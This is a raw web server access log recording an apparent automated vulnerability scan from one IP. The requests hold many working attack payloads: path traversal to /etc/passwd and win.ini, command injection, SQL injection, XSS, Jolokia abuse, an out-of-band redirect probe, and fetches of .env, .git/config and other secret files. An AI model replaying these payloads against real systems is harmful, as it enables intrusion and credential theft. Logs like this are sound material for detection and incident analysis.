[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/menu/latest/admin HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //defaced.html HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.override.yml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_sample HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationName HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.js HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBQfxRYSYCHh5mHoYWBj7-RL1DC1y3M2NXCx9jA3RiqAI8ZBbmhEQaZjooABQv7ag!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/search/*:test=test HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug.seam HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws4/jexws4.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/version HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy195KvI8qZCE1VCU0bC9SOj.json HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jc6/servlet/clobfield HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configuration.php-dist HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/api/v1/global-search/builds?jfLoader=true HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev.local HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /writable/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5(999999999),3,4,5,6,7,8-- HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/application.log HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_booking&controller=customer&task=getUserData&id=123 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/webServers.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/list HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libraries/joomla/database/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/warn.log HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iproperty/property-views/all-properties-with-map?filter_keyword=pihil%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22f63m4&option=com_iproperty&view=allproperties&ipquicksearch=1 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?review_id=1&itwed%22onmouseover=%22confirm(document.domain)%22style=%22position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b%22b7yzn=1 HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs[x][search]=gx3vt%20onfocus=alert(document.domain)%20autofocus=%20itkrzsug7w5 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/script HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /for-jobseekers/search-jobs?keyword=l9x1q%22onfocus%3D%22alert(document.domain)%22autofocus%3D%22ak5aghi5u9p HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&sort=latest&page=index.php&format=xml&task=showproducts&view=med&sortdir=%27 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /front/privateLogin.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&sort=latest&page=index.php&format=xml&task=showproducts&view=med&sortdir=descgt5po%3Cimg%20src=a%20onerror=alert(document.domain)%3Evh217 HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/test.yml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=db8ck%22onfocus=%22confirm(document.domain)%22autofocus=%22xwu0k HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/normal_userLogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mediation/authenticate HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/1/..;/env HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content../.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dashboards HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i18n/en.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsapi_ticket.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapp/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/home.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Kenesto/Account/LogOn?ReturnUrl=%2fkenesto HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsconfig.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /writable/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /events../.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.development.local HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver-pro/login.html?error=1 HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lab/api/settings/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /http/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%3B/monitoring HTTP/1.1" 226
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /language/en-GB/en-GB.xml HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipython/tree HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziDVCAo4FTkJGTsYGBu7uRfjhYgaN7WGiggbO5mb95iLGBp6evQXCQq5OhhZupfhSGfmSToPrxWEBAf0FuaCgAb7VcBA!!/dz/d5/L2dBISEvZ0FBIS9nQSEh/dz/d5/L0lJSkdKSUtVSklKQ2dwUkNncFJBL29Od3dBQUFZUUFBRUl3UWxDVTVBQUdNSUtTcEtGTFJ0R0ZvIS80TmxFTklVTVFuRmR1WXBNaFFUVWs1Q2ltcHBBL1o2XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwR1YwL1o3XzAwMDAwMDAwMDAwMDAwQTBCUjJCMzAwSU8wL25vcm1hbC9PQ04vWjZfMDAwMDAwMDAwMDAwMDBBMEJSMkIzMDBHRzIvYW8vdGht/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /juddi/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/webservers.xml HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downFile.php?filename=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSPages/logon.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/otgw?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/terminals HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/wizard/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/error.log HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/SetupMode!default.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/list HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/Dashboard.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/session/login HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/default.log HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfc/portal HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemController/showOrDownByurl.do?down&dbPath=../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.asp HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servicedesk/customer/user/signup HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/locales/login_en.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?goto=https://example.com%252F:123@interactsh.com/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //readme.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keycloak.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hub/login?next HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_jvtwitter/jvtwitter.php?id HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVendor HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htmltopdf/downfile.php?filename=/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/image/cover-upload?filename=../appsettings.json HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?controller=AuthController&action=login HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appmonitor/protected/selector/server_file/files?folder=C://&suffix HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/login HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apis/apps/v1/namespaces/default/deployments HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/graphql/v1 HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sample.htaccess HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //server.ini HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/definitions HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexinv4/jexinv4.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /http/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/search/*:test=test HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dashboard/proc.php?type=login HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E HTTP/1.1" 196
